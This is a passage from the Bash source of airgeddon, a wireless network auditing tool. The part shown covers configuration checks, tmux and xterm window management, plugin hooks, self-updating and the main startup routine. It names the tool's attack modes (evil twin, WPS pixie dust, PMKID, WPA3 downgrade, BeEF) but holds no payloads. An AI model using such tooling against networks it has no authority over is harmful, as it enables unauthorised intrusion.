				errors_on_configuration_vars["${item},invalid_value"]="${nonboolean_options_env_vars[${item},'default_value']}"
				eval "export ${item}=${nonboolean_options_env_vars[${item},'default_value']}"
			fi
		elif [ "${item}" = "AIRGEDDON_MDK_VERSION" ]; then
			if ! [[ "${!item,,}" =~ ^(mdk3|mdk4)$ ]]; then
				errors_on_configuration_vars["${item},invalid_value"]="${nonboolean_options_env_vars[${item},'default_value']}"
				eval "export ${item}=${nonboolean_options_env_vars[${item},'default_value']}"
			fi
		fi
	done

	if ! "${AIRGEDDON_5GHZ_ENABLED:-false}" && "${AIRGEDDON_6GHZ_ENABLED:-false}"; then
		forced_6ghz_disabled_by_5ghz=1
		sed -ri "s:(AIRGEDDON_6GHZ_ENABLED)=(true):\1=false:" "${rc_path}" 2> /dev/null
		eval "export AIRGEDDON_6GHZ_ENABLED=false"
	fi

	if "${AIRGEDDON_6GHZ_ENABLED:-false}" && ! "${AIRGEDDON_5GHZ_ENABLED:-false}"; then
		forced_5ghz_enabled_by_6ghz=1
		sed -ri "s:(AIRGEDDON_5GHZ_ENABLED)=(false):\1=true:" "${rc_path}" 2> /dev/null
		eval "export AIRGEDDON_5GHZ_ENABLED=true"
	fi

}

#Print possible issues on configuration vars
function print_configuration_vars_issues() {

	debug_print

	readarray -t ERRORS_ON_CONFIGURATION_VARS_ELEMENTS < <(printf %s\\n "${!errors_on_configuration_vars[@]}" | cut -d, -f1 | sort -u)
	ERROR_VARS_ELEMENTS=("${ERRORS_ON_CONFIGURATION_VARS_ELEMENTS[@]}")

	local stop_on_var_errors=0

	local error_var_state
	for item in "${ERROR_VARS_ELEMENTS[@]}"; do
		if [ -n "${item}" ]; then
			error_var_name="${item}"
			error_var_state=$(printf %s\\n "${!errors_on_configuration_vars[@]}" | tr " " "\n" | grep "${item}" | cut -d, -f2)
			if [ -z "${!error_var_state}" ]; then
				error_var_default_value="${errors_on_configuration_vars[${item},"${error_var_state}"]}"
				stop_on_var_errors=1
				if [ "${error_var_state}" = "missing_var" ]; then
					echo
					language_strings "${language}" 614 "yellow"
				else
					echo
					language_strings "${language}" 613 "yellow"
				fi
			fi
		fi
	done

	if [ "${forced_6ghz_disabled_by_5ghz}" -eq 1 ]; then
		echo
		language_strings "${language}" 827 "yellow"
		stop_on_var_errors=1
	fi
	if [ "${forced_5ghz_enabled_by_6ghz}" -eq 1 ]; then
		echo
		language_strings "${language}" 830 "yellow"
		stop_on_var_errors=1
	fi

	if [ "${stop_on_var_errors}" -eq 1 ]; then
		echo
		language_strings "${language}" 115 "read"
	fi
}

#Create env vars file and fill it with default values
function create_rcfile() {

	debug_print

	local counter=0
	for item in "${ordered_options_env_vars[@]}"; do
		counter=$((counter + 1))
		if echo "${ARRAY_ENV_BOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then
			{
			echo -e "${boolean_options_env_vars[${item},"rcfile_text"]}"
			echo -e "${item}=${boolean_options_env_vars[${item},"default_value"]}"
			if [ "${counter}" -ne ${#ordered_options_env_vars[@]} ]; then
				echo -ne "\n"
			fi
			} >> "${rc_path}" 2> /dev/null
		elif echo "${ARRAY_ENV_NONBOOLEAN_VARS_ELEMENTS[@]}" | grep -q "${item}"; then
			{
			echo -e "${nonboolean_options_env_vars[${item},"rcfile_text"]}"
			echo -e "${item}=${nonboolean_options_env_vars[${item},"default_value"]}"
			if [ "${counter}" -ne ${#ordered_options_env_vars[@]} ]; then
				echo -ne "\n"
			fi
			} >> "${rc_path}" 2> /dev/null
		fi
	done
}

#Detect if airgeddon is working inside a docker container
function docker_detection() {

	debug_print

	if [ -f /.dockerenv ]; then
		is_docker=1
	fi
}

#Set sounds for evil twin attacks if set
function initialize_sounds() {

	debug_print

	able_to_play_sounds=0
	if "${AIRGEDDON_EVIL_TWIN_SOUNDS:-true}"; then
		if hash play 2> /dev/null; then
			able_to_play_sounds=1
		fi
	fi
}

#Set colorization output if set
function initialize_extended_colorized_output() {

	debug_print

	colorize=""
	if "${AIRGEDDON_BASIC_COLORS:-true}" && "${AIRGEDDON_EXTENDED_COLORS:-true}"; then
		if hash ccze 2> /dev/null; then
			colorize="| ccze -A"
		fi
	fi
}

#Remap colors vars
function remap_colors() {

	debug_print

	if ! "${AIRGEDDON_BASIC_COLORS:-true}"; then
		green_color="${normal_color}"
		green_color_title="${normal_color}"
		red_color="${normal_color}"
		red_color_slim="${normal_color}"
		blue_color="${normal_color}"
		cyan_color="${normal_color}"
		brown_color="${normal_color}"
		yellow_color="${normal_color}"
		pink_color="${normal_color}"
		white_color="${normal_color}"
	else
		initialize_colors
	fi
}

#Initialize colors vars
function initialize_colors() {

	debug_print

	normal_color="\e[1;0m"
	green_color="\033[1;32m"
	green_color_title="\033[0;32m"
	red_color="\033[1;31m"
	red_color_slim="\033[0;031m"
	blue_color="\033[1;34m"
	cyan_color="\033[1;36m"
	brown_color="\033[0;33m"
	yellow_color="\033[1;33m"
	pink_color="\033[1;35m"
	white_color="\e[1;97m"
}

#Kill tmux session started by airgeddon
function kill_tmux_session() {

	debug_print

	if hash tmux 2> /dev/null; then
		tmux kill-session -t "${1}"
		return 0
	else
		return 1
	fi
}

#Initialize tmux if apply
function initialize_tmux() {

	debug_print

	if [ "${1}" = "true" ]; then
		if [ -n "${2}" ]; then
			airgeddon_uid="${2}"
		else
			exit ${exit_code}
		fi
	else
		airgeddon_uid="${BASHPID}"
	fi

	session_name="airgeddon${airgeddon_uid}"

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		if hash tmux 2> /dev/null; then
			transfer_to_tmux
			if ! check_inside_tmux; then
				exit_code=1
				exit ${exit_code}
			fi
		fi
	fi
}

#Starting point of airgeddon script inside newly created tmux session
function start_airgeddon_from_tmux() {

	debug_print

	tmux rename-window -t "${session_name}" "${tmux_main_window}"
	tmux send-keys -t "${session_name}:${tmux_main_window}" "clear;cd ${scriptfolder};bash ${scriptname} \"true\" \"${airgeddon_uid}\"" ENTER
	sleep 0.2
	if [ "${1}" = "normal" ]; then
		tmux attach -t "${session_name}"
	else
		tmux switch-client -t "${session_name}"
	fi
}

#Create new tmux session exclusively for airgeddon
function create_tmux_session() {

	debug_print

	session_name="${1}"

	if [ "${2}" = "true" ]; then
		tmux new-session -d -s "${1}"
		tmux set-option -t "${1}" mouse on
		start_airgeddon_from_tmux "normal"
	else
		tmux new-session -d -s "${1}"
		tmux set-option -t "${1}" mouse on
		start_airgeddon_from_tmux "nested"
	fi
}

#Start supporting scripts inside its own tmux window
function start_tmux_processes() {

	debug_print

	local window_name
	local command_line

	window_name="${1}"
	command_line="${2}"

	tmux kill-window -t "${session_name}:${window_name}" 2> /dev/null
	case "${4}" in
		"active")
			tmux new-window -t "${session_name}:" -n "${window_name}"
		;;
		*)
			tmux new-window -d -t "${session_name}:" -n "${window_name}"
		;;
	esac
	local tmux_color_cmd
	if [ -n "${3}" ]; then
		tmux_color_cmd="bg=#000000 fg=${3}"
	else
		tmux_color_cmd="bg=#000000"
	fi
	tmux setw -t "${window_name}" window-style "${tmux_color_cmd}"
	tmux send-keys -t "${session_name}:${window_name}" "${command_line}" ENTER
}

#Check if script is currently executed inside tmux session or not
function check_inside_tmux() {

	debug_print

	local parent_pid
	local parent_window
	parent_pid=$(ps -o ppid= ${PPID} 2> /dev/null | tr -d ' ')
	parent_window="$(ps --no-headers -p "${parent_pid}" -o comm= 2> /dev/null)"
	if [[ "${parent_window}" =~ tmux ]]; then
		return 0
	fi
	return 1
}

#Hand over script execution to tmux and call function to create a new session
function transfer_to_tmux() {

	debug_print

	if ! check_inside_tmux; then
		create_tmux_session "${session_name}" "true"
	else
		local active_session
		active_session=$(tmux display-message -p '#S')
		if [ "${active_session}" != "${session_name}" ]; then
			tmux_error=1
		fi
	fi
}

#Function to kill tmux windows using window name
function kill_tmux_windows() {

	debug_print

	local TMUX_WINDOWS_LIST=()
	local current_window_name
	readarray -t TMUX_WINDOWS_LIST < <(tmux list-windows -t "${session_name}:")
	for item in "${TMUX_WINDOWS_LIST[@]}"; do
		[[ "${item}" =~ ^[0-9]+:[[:blank:]](.+([^*-]))([[:blank:]]|\-|\*)[[:blank:]]?\([0-9].+ ]] && current_window_name="${BASH_REMATCH[1]}"
		if [ "${current_window_name}" = "${tmux_main_window}" ]; then
			continue
		fi
		if [ -n "${1}" ]; then
			if [ "${current_window_name}" = "${1}" ]; then
				continue
			fi
		fi
		tmux kill-window -t "${session_name}:${current_window_name}"
	done
}

#Function to pause script execution in the main window until a process has finished executing or the user terminates it
#shellcheck disable=SC2009
function wait_for_process() {

	debug_print

	local running_process
	local running_process_pid
	local running_process_cmd_line
	running_process_cmd_line=$(echo "${1}" | tr -d '"')

	while [ -z "${running_process_pid}" ]; do
		running_process_pid=$(ps --no-headers auxww | grep "${running_process_cmd_line}" | grep -v "grep ${running_process_cmd_line}" | awk '{print $2}' | tr '\n' ':')
		if [ -n "${running_process_pid}" ]; then
			running_process_pid="${running_process_pid%%:*}"
			running_process="${running_process_pid}"
		fi
	done

	while [ -n "${running_process}" ]; do
		running_process=$(ps auxww | grep "${running_process_pid}" | grep -v "grep ${running_process_pid}")
		sleep 0.2
	done

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		tmux kill-window -t "${session_name}:${2}"
	fi
}

#Function to capture PID of a process started inside tmux and setting it to a global variable
#shellcheck disable=SC2009
function get_tmux_process_id() {

	debug_print

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then

		local process_cmd_line
		local process_pid

		process_cmd_line=$(echo "${1}" | tr -d '"')
		while [ -z "${process_pid}" ]; do
			process_pid=$(ps --no-headers aux | grep "${process_cmd_line}" | grep -v "grep ${process_cmd_line}" | awk '{print $2}')
		done
		global_process_pid="${process_pid}"
	fi
}

#Centralized function to launch window using xterm/tmux
function manage_output() {

	debug_print

	local xterm_parameters
	local tmux_command_line
	local xterm_command_line
	local window_name
	local command_tail

	xterm_parameters="${1}"
	tmux_command_line="${2}"
	xterm_command_line="\"${2}\""
	window_name="${3}"
	command_tail=" > /dev/null 2>&1 &"

	case "${AIRGEDDON_WINDOWS_HANDLING}" in
		"tmux")
			local tmux_color
			tmux_color=""
			[[ "${1}" =~ -fg[[:blank:]](\")?(#[0-9a-fA-F]+) ]] && tmux_color="${BASH_REMATCH[2]}"
			case "${4}" in
				"active")
					start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}" "active"
				;;
				*)
					start_tmux_processes "${window_name}" "clear;${tmux_command_line}" "${tmux_color}"
				;;
			esac
		;;
		"xterm")
			eval "xterm ${xterm_parameters} -e ${xterm_command_line}${command_tail}"
		;;
	esac
}

#Plugins initialization, parsing and validations handling
function parse_plugins() {

	plugins_enabled=()

	shopt -s nullglob
	for path in "${plugins_paths[@]}"; do
		if [ -d "${path}" ]; then
			for file in "${path}"*.sh; do
				if [ "${file}" != "${path}plugin_template.sh" ]; then

					plugin_short_name="${file##*/}"
					plugin_short_name="${plugin_short_name%.sh*}"

					if grep -q -E "^plugin_enabled=1$" "${file}"; then

						#shellcheck source=./plugins/missing_dependencies.sh
						source "${file}" "$@"

						validate_plugin_requirements
						plugin_validation_result=$?
						if [ "${plugin_validation_result}" -eq 0 ]; then
							plugins_enabled+=("${plugin_short_name}")
						fi
					fi
				fi
			done
		fi
	done
	shopt -u nullglob
}

#Validate if plugin meets the needed requirements
function validate_plugin_requirements() {

	if [ -n "${plugin_minimum_ag_affected_version}" ]; then
		if compare_floats_greater_than "${plugin_minimum_ag_affected_version}" "${airgeddon_version}"; then
			return 1
		fi
	fi

	if [ -n "${plugin_maximum_ag_affected_version}" ]; then
		if compare_floats_greater_than "${airgeddon_version}" "${plugin_maximum_ag_affected_version}"; then
			return 1
		fi
	fi

	if [ "${plugin_distros_supported[0]}" != "*" ]; then

		for item in "${plugin_distros_supported[@]}"; do
			if [ "${item}" = "${distro}" ]; then
				return 0
			fi
		done

		return 2
	fi

	return 0
}

#Apply modifications to functions with defined plugins changes
#shellcheck disable=SC2086,SC2001
function apply_plugin_functions_rewriting() {

	declare -A function_hooks

	local original_function
	local action
	local is_hookable

	for plugin in "${plugins_enabled[@]}"; do
		for current_function in $(compgen -A 'function' "${plugin}_" | grep -e "[override|prehook|posthook]"); do
			original_function=$(echo ${current_function} | sed "s/^${plugin}_\(override\)*\(prehook\)*\(posthook\)*_//")
			action=$(echo ${current_function} | sed "s/^${plugin}_\(override\)*\(prehook\)*\(posthook\)*_.*$/\1\2\3/")

			if ! declare -F ${original_function} &> /dev/null; then
				echo
				language_strings "${language}" 659 "red"
				exit_code=1
				exit_script_option
			fi

			is_hookable=false
			if [[ "${original_function}" == *"hookable"* ]]; then
				is_hookable=true
			fi

			if [[ "${is_hookable}" == false ]] && [[ -n "${function_hooks[${original_function},${action}]}" ]]; then
				echo
				language_strings "${language}" 661 "red"
				exit_code=1
				exit_script_option
			fi

			if ! printf '%s\n' "${hooked_functions[@]}" | grep -x -q "${original_function}"; then
				hooked_functions+=("${original_function}")
			fi

			if [[ "${is_hookable}" == true ]]; then
				function_hooks[${original_function},${action},${plugin}]=1
			else
				function_hooks[${original_function},${action}]=${plugin}
			fi
		done
	done

	local function_modifications
	local arguments
	local actions=("prehook" "override" "posthook")
	local hook_found

	for current_function in "${hooked_functions[@]}"; do
		arguments="${current_function} "
		function_modifications=$(declare -f ${current_function} | sed "1c${current_function}_original ()")

		for action in "${actions[@]}"; do
			hook_found=false

			if [[ "${current_function}" == *"hookable"* ]]; then
				for plugin_key in "${!function_hooks[@]}"; do
					if [[ "${plugin_key}" == "${current_function},${action},"* ]]; then
						hook_found=true
						plugin_name="${plugin_key##*,}"
						function_name="${plugin_name}_${action}_${current_function}"
						function_modifications+=$'\n'"$(declare -f ${function_name} | sed "1c${current_function}_${action}_${plugin_name} ()")"
					fi
				done
			else
				if [[ -n "${function_hooks[${current_function},${action}]}" ]]; then
					hook_found=true
					plugin_name="${function_hooks[${current_function},${action}]}"
					function_name="${plugin_name}_${action}_${current_function}"
					function_modifications+=$'\n'"$(declare -f ${function_name} | sed "1c${current_function}_${action} ()")"
				fi
			fi

			if [[ "$hook_found" == true ]]; then
				arguments+="true "
			else
				arguments+="false "
			fi
		done

		arguments+="\"\${@}\""
		function_modifications+=$'\n'"${current_function} () {"$'\n'" plugin_function_call_handler ${arguments}"$'\n'"}"
		eval "${function_modifications}"
	done
}

#Plugins function handler in charge of managing prehook, posthooks and override function calls
function plugin_function_call_handler() {

	local function_name=${1}
	local prehook_enabled=${2}
	local override_enabled=${3}
	local posthook_enabled=${4}
	local is_hookable=false
	local function_call="${function_name}_original"

	if [[ "${function_name}" == *"hookable"* ]]; then
		is_hookable=true
	fi

	if [ "${prehook_enabled}" = true ]; then
		if [[ "${is_hookable}" == true ]]; then
			for hook_func in $(declare -F | awk '{print $3}' | grep -E "_prehook_${function_name}$"); do
				${hook_func} "${@:5}"
			done
		else
			local prehook_funcion_name="${function_name}_prehook"
			${prehook_funcion_name} "${@:5}"
		fi
	fi

	if [ "${override_enabled}" = true ]; then
		if [[ "${is_hookable}" == true ]]; then
			for hook_func in $(declare -F | awk '{print $3}' | grep -E "_override_${function_name}$"); do
				${hook_func} "${@:5}"
			done
			return $?
		else
			function_call="${function_name}_override"
		fi
	fi

	${function_call} "${@:5}"
	local result=$?

	if [ "${posthook_enabled}" = true ]; then
		if [[ "${is_hookable}" == true ]]; then
			for hook_func in $(declare -F | awk '{print $3}' | grep -E "_posthook_${function_name}$"); do
				${hook_func} ${result}
				result=$?
			done
		else
			local posthook_funcion_name="${function_name}_posthook"
			${posthook_funcion_name} ${result}
			result=$?
		fi
	fi

	return ${result}
}

#Avoid the problem of using airmon-zc without ethtool installed
function airmonzc_security_check() {

	debug_print

	if [ "${airmon}" = "airmon-zc" ]; then
		if ! hash ethtool 2> /dev/null; then
			echo
			language_strings "${language}" 247 "red"
			echo
			language_strings "${language}" 115 "read"
			exit_code=1
			exit_script_option
		fi
	fi
}

#Check if the first float argument is greater than the second
function compare_floats_greater_than() {

	debug_print

	awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>n2) exit 0; exit 1}'
}

#Check if the first float argument is greater than or equal to the second float argument
function compare_floats_greater_or_equal() {

	debug_print

	awk -v n1="${1}" -v n2="${2}" 'BEGIN{if (n1>=n2) exit 0; exit 1}'
}

#Update and relaunch the script
function download_last_version() {

	debug_print

	rewrite_script_with_custom_beef "search"

	local script_file_downloaded=0

	if download_language_strings_file; then

		get_current_permanent_language

		if timeout -s SIGTERM 15 curl -L ${urlscript_directlink} -s -o "${0}"; then
			script_file_downloaded=1
		else
			http_proxy_detect
			if [ "${http_proxy_set}" -eq 1 ]; then

				if timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_directlink} -s -o "${0}"; then
					script_file_downloaded=1
				fi
			fi
		fi
	fi

	if [ "${script_file_downloaded}" -eq 1 ]; then

		download_pins_database_file

		update_options_config_file "getdata"
		download_options_config_file
		update_options_config_file "writedata"

		echo
		language_strings "${language}" 214 "yellow"

		if [ -n "${beef_custom_path}" ]; then
			rewrite_script_with_custom_beef "set" "${beef_custom_path}"
		fi

		sed -ri "s:^([l]anguage)=\"[a-zA-Z]+\":\1=\"${current_permanent_language}\":" "${scriptfolder}${scriptname}" 2> /dev/null

		language_strings "${language}" 115 "read"
		chmod +x "${scriptfolder}${scriptname}" > /dev/null 2>&1
		exec "${scriptfolder}${scriptname}"
	else
		language_strings "${language}" 5 "yellow"
	fi
}

#Validate if the selected internet interface has internet access
function validate_et_internet_interface() {

	debug_print

	echo
	language_strings "${language}" 287 "blue"

	if ! check_internet_access; then
		echo
		language_strings "${language}" 288 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	if ! check_default_route "${internet_interface}"; then
		echo
		language_strings "${language}" 290 "red"
		language_strings "${language}" 115 "read"
		return 1
	fi

	echo
	language_strings "${language}" 289 "yellow"
	language_strings "${language}" 115 "read"
	internet_interface_selected=1
	return 0
}

#Check for access to airgeddon repository
function check_repository_access() {

	debug_print

	if hash curl 2> /dev/null; then

		if check_url_curl "https://${repository_hostname}"; then
			return 0
		fi
	fi
	return 1
}

#Check for active internet connection
function check_internet_access() {

	debug_print

	for item in "${ips_to_check_internet[@]}"; do
		if ping -c 1 "${item}" -W 1 > /dev/null 2>&1; then
			return 0
		fi
	done

	if hash curl 2> /dev/null; then
		if check_url_curl "https://${repository_hostname}"; then
			return 0
		fi
	fi

	if hash wget 2> /dev/null; then
		if check_url_wget "https://${repository_hostname}"; then
			return 0
		fi
	fi

	return 1
}

#Check for access to a URL using curl
function check_url_curl() {

	debug_print

	if timeout -s SIGTERM 15 curl -s "${1}" > /dev/null 2>&1; then
		return 0
	fi

	http_proxy_detect
	if [ "${http_proxy_set}" -eq 1 ]; then
		timeout -s SIGTERM 15 curl -s --proxy "${http_proxy}" "${1}" > /dev/null 2>&1
		return $?
	fi
	return 1
}

#Check for access to a URL using wget
function check_url_wget() {

	debug_print

	if timeout -s SIGTERM 15 wget -q --spider "${1}" > /dev/null 2>&1; then
		return 0
	fi

	http_proxy_detect
	if [ "${http_proxy_set}" -eq 1 ]; then
		timeout -s SIGTERM 15 wget -q --spider -e "use_proxy=yes" -e "http_proxy=${http_proxy}" "${1}" > /dev/null 2>&1
		return $?
	fi
	return 1
}

#Detect if there is an http proxy configured on the system
function http_proxy_detect() {

	debug_print

	http_proxy=$(env | grep -i HTTP_PROXY | head -n 1 | awk -F "=" '{print $2}')

	if [ -n "${http_proxy}" ]; then
		http_proxy_set=1
	else
		http_proxy_set=0
	fi
}

#Check for default route on an interface
function check_default_route() {

	debug_print

	local target_ip=""

	for item in "${ips_to_check_internet[@]}"; do
		if [ -n "${item}" ]; then
			target_ip="${item}"

			if (set -o pipefail && ip -4 route get "${target_ip}" 2> /dev/null | awk '{for(i=1;i<=NF;i++){if($i=="dev"){print $(i+1); exit}}}' | grep -Fx "${1}" > /dev/null); then
				return 0
			fi
		fi
	done

	return 1
}

#Update the script if your version is outdated
function autoupdate_check() {

	debug_print

	echo
	language_strings "${language}" 210 "blue"
	echo

	if check_repository_access; then
		local version_checked=0
		airgeddon_last_version=$(timeout -s SIGTERM 15 curl -L ${urlscript_directlink} 2> /dev/null | grep "airgeddon_version=" | head -n 1 | cut -d "\"" -f 2)

		if [ -n "${airgeddon_last_version}" ]; then
			version_checked=1
		else
			http_proxy_detect
			if [ "${http_proxy_set}" -eq 1 ]; then

				airgeddon_last_version=$(timeout -s SIGTERM 15 curl --proxy "${http_proxy}" -L ${urlscript_directlink} 2> /dev/null | grep "airgeddon_version=" | head -n 1 | cut -d "\"" -f 2)
				if [ -n "${airgeddon_last_version}" ]; then
					version_checked=1
				else
					language_strings "${language}" 5 "yellow"
				fi
			else
				language_strings "${language}" 5 "yellow"
			fi
		fi

		if [ "${version_checked}" -eq 1 ]; then
			if compare_floats_greater_than "${airgeddon_last_version}" "${airgeddon_version}"; then
				language_strings "${language}" 213 "yellow"
				download_last_version
			else
				language_strings "${language}" 212 "yellow"
			fi
		fi
	else
		language_strings "${language}" 211 "yellow"
	fi

	language_strings "${language}" 115 "read"
}

#Change script language automatically if OS language is supported by the script and different from the current language
function autodetect_language() {

	debug_print

	[[ $(locale | grep LANG) =~ ^(.*)=\"?([a-zA-Z]+)_(.*)$ ]] && lang="${BASH_REMATCH[2]}"

	for lgkey in "${!lang_association[@]}"; do
		if [[ "${lang}" = "${lgkey}" ]] && [[ "${language}" != "${lang_association[${lgkey}]}" ]]; then
			autochanged_language=1
			language=${lang_association[${lgkey}]}
			break
		fi
	done
}

#Detect if the current language is a supported RTL (Right To Left) language
function detect_rtl_language() {

	debug_print

	for item in "${rtl_languages[@]}"; do
		if [ "${language}" = "${item}" ]; then
			is_rtl_language=1
			printf "\e[8h"
			break
		else
			is_rtl_language=0
			printf "\e[8l"
		fi
	done
}

#Clean some known and controlled warnings for ShellCheck
function remove_warnings() {

	debug_print

	echo "${clean_handshake_dependencies[@]}" > /dev/null 2>&1
	echo "${aircrack_crunch_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${aireplay_attack_dependencies[@]}" > /dev/null 2>&1
	echo "${mdk_attack_dependencies[@]}" > /dev/null 2>&1
	echo "${hashcat_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${hashcat_hash_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${et_onlyap_dependencies[@]}" > /dev/null 2>&1
	echo "${et_sniffing_dependencies[@]}" > /dev/null 2>&1
	echo "${et_sniffing_sslstrip2_dependencies[@]}" > /dev/null 2>&1
	echo "${et_sniffing_sslstrip2_beef_dependencies[@]}" > /dev/null 2>&1
	echo "${et_captive_portal_dependencies[@]}" > /dev/null 2>&1
	echo "${wash_scan_dependencies[@]}" > /dev/null 2>&1
	echo "${bully_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${reaver_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${bully_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1
	echo "${reaver_pixie_dust_attack_dependencies[@]}" > /dev/null 2>&1
	echo "${wep_attack_allinone_dependencies[@]}" > /dev/null 2>&1
	echo "${wep_attack_besside_dependencies[@]}" > /dev/null 2>&1
	echo "${enterprise_attack_dependencies[@]}" > /dev/null 2>&1
	echo "${enterprise_identities_dependencies[@]}" > /dev/null 2>&1
	echo "${enterprise_certificates_analysis_dependencies[@]}" > /dev/null 2>&1
	echo "${asleap_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${john_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${johncrunch_attacks_dependencies[@]}" > /dev/null 2>&1
	echo "${enterprise_certificates_dependencies[@]}" > /dev/null 2>&1
	echo "${pmkid_dependencies[@]}" > /dev/null 2>&1
	echo "${wpa3_downgrade_attack_dependencies[@]}" > /dev/null 2>&1
	echo "${is_arm}" > /dev/null 2>&1
}

#Print a simple separator
function print_simple_separator() {

	debug_print

	echo_blue "---------"
}

#Print a large separator
function print_large_separator() {

	debug_print

	echo_blue "----------------------------------------------------------------"
}

#Add the PoT prefix on printed strings if PoT mark is found
function check_pending_of_translation() {

	debug_print

	if [[ "${1}" =~ ^${escaped_pending_of_translation}([[:space:]])(.*)$ ]]; then
		text="${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}"
		return 1
	elif [[ "${1}" =~ ^${hintvar}[[:space:]](\\033\[[0-9];[0-9]{1,2}m)?(${escaped_pending_of_translation})[[:space:]](.*) ]]; then
		text="${cyan_color}${pending_of_translation} ${brown_color}${hintvar} ${pink_color}${BASH_REMATCH[3]}"
		return 1
	elif [[ "${1}" =~ ^(\*+)[[:space:]]${escaped_pending_of_translation}[[:space:]]([^\*]+)(\*+)$ ]]; then
		text="${2}${BASH_REMATCH[1]}${cyan_color} ${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}"
		return 1
	elif [[ "${1}" =~ ^(\-+)[[:space:]]\(${escaped_pending_of_translation}[[:space:]]([^\-]+)(\-+)$ ]]; then
		text="${2}${BASH_REMATCH[1]} (${cyan_color}${pending_of_translation} ${2}${BASH_REMATCH[2]}${BASH_REMATCH[3]}"
		return 1
	fi

	return 0
}

#Print under construction message used on some menu entries
function under_construction_message() {

	debug_print

	echo
	echo_red "${under_construction[$language]^}..."
	language_strings "${language}" 115 "read"
}

#Canalize the echo functions
function last_echo() {

	debug_print

	if ! check_pending_of_translation "${1}" "${2}"; then
		echo -e "${2}${text}${normal_color}"
	else
		echo -e "${2}$*${normal_color}"
	fi
}

#Print green messages
function echo_green() {

	debug_print

	last_echo "${1}" "${green_color}"
}

#Print blue messages
function echo_blue() {

	debug_print

	last_echo "${1}" "${blue_color}"
}

#Print yellow messages
function echo_yellow() {

	debug_print

	last_echo "${1}" "${yellow_color}"
}

#Print red messages
function echo_red() {

	debug_print

	last_echo "${1}" "${red_color}"
}

#Print red messages using a slimmer thickness
function echo_red_slim() {

	debug_print

	last_echo "${1}" "${red_color_slim}"
}

#Print black messages with background for titles
function echo_green_title() {

	debug_print

	last_echo "${1}" "${green_color_title}"
}

#Print pink messages
function echo_pink() {

	debug_print

	last_echo "${1}" "${pink_color}"
}

#Print cyan messages
function echo_cyan() {

	debug_print

	last_echo "${1}" "${cyan_color}"
}

#Print brown messages
function echo_brown() {

	debug_print

	last_echo "${1}" "${brown_color}"
}

#Print white messages
function echo_white() {

	debug_print

	last_echo "${1}" "${white_color}"
}

#Script starting point
function main() {

	initialize_script_settings
	initialize_colors
	env_vars_initialization
	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]; then
		initialize_tmux "${1}" "${2}"
	fi
	initialize_instance_settings
	detect_distro_phase1
	detect_distro_phase2
	special_distro_features

	if "${AIRGEDDON_AUTO_CHANGE_LANGUAGE:-true}"; then
		autodetect_language
	fi

	detect_rtl_language
	check_language_strings
	initialize_language_strings
	iptables_nftables_detection
	set_mdk_version
	dependencies_modifications

	if "${AIRGEDDON_PLUGINS_ENABLED:-true}"; then
		parse_plugins "$@"
		apply_plugin_functions_rewriting
	fi

	remap_colors
	hookable_for_languages

	clear
	current_menu="pre_main_menu"
	docker_detection
	set_default_save_path
	graphics_prerequisites

	if [[ "${AIRGEDDON_WINDOWS_HANDLING}" = "tmux" ]] && [[ "${tmux_error}" -eq 1 ]]; then
		language_strings "${language}" 86 "title"
		echo
		language_strings "${language}" 621 "yellow"
		language_strings "${language}" 115 "read"
		create_tmux_session "${session_name}" "false"

		exit_code=1
		exit ${exit_code}
	fi

	if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
		check_graphics_system
		detect_screen_resolution
	fi

	set_possible_aliases
	initialize_optional_tools_values

	if ! "${AIRGEDDON_DEVELOPMENT_MODE:-false}"; then
		if ! "${AIRGEDDON_SKIP_INTRO:-false}"; then
			language_strings "${language}" 86 "title"
			language_strings "${language}" 6 "blue"
			echo
			if check_window_size_for_intro; then
				print_intro
			else
				language_strings "${language}" 228 "green"
				echo
				language_strings "${language}" 395 "yellow"
				sleep 3
			fi
		fi

		clear
		language_strings "${language}" 86 "title"
		language_strings "${language}" 7 "pink"
		language_strings "${language}" 114 "pink"

		if [ "${autochanged_language}" -eq 1 ]; then
			echo
			language_strings "${language}" 2 "yellow"
		fi

		check_bash_version
		check_root_permissions
		check_wsl

		if [ "${AIRGEDDON_WINDOWS_HANDLING}" = "xterm" ]; then
			echo
			if [[ "${resolution_detected}" -eq 1 ]] && [[ "${xterm_ok}" -eq 1 ]]; then
				language_strings "${language}" 294 "blue"
			else
				if [ "${xterm_ok}" -eq 0 ]; then
					case "${graphics_system}" in
						"x11")
							language_strings "${language}" 476 "red"
							exit_code=1
							exit_script_option
						;;
						"wayland")
							language_strings "${language}" 704 "red"
							exit_code=1
							exit_script_option
						;;
						"tty"|*)
							language_strings "${language}" 705 "red"
							exit_code=1
							exit_script_option
						;;
					esac
				else
					language_strings "${language}" 295 "red"
					echo
					language_strings "${language}" 300 "yellow"
				fi
			fi
		fi

		detect_running_instances
		if [ "$?" -gt 1 ]; then
			echo
			language_strings "${language}" 720 "yellow"
			echo
			language_strings "${language}" 721 "blue"
			language_strings "${language}" 115 "read"
		fi

		echo
		language_strings "${language}" 8 "blue"
		print_known_distros
		echo
		language_strings "${language}" 9 "blue"
		general_checkings
		language_strings "${language}" 115 "read"

		airmonzc_security_check
		check_update_tools
	fi

	print_configuration_vars_issues
	initialize_extended_colorized_output
	initialize_sounds
	set_windows_sizes
	channel_mappings
	select_interface
	initialize_menu_options_dependencies
	remove_warnings
	main_menu
}

#Script starts to execute stuff from this point, traps and then the main function
for f in SIGINT SIGHUP INT SIGTSTP; do
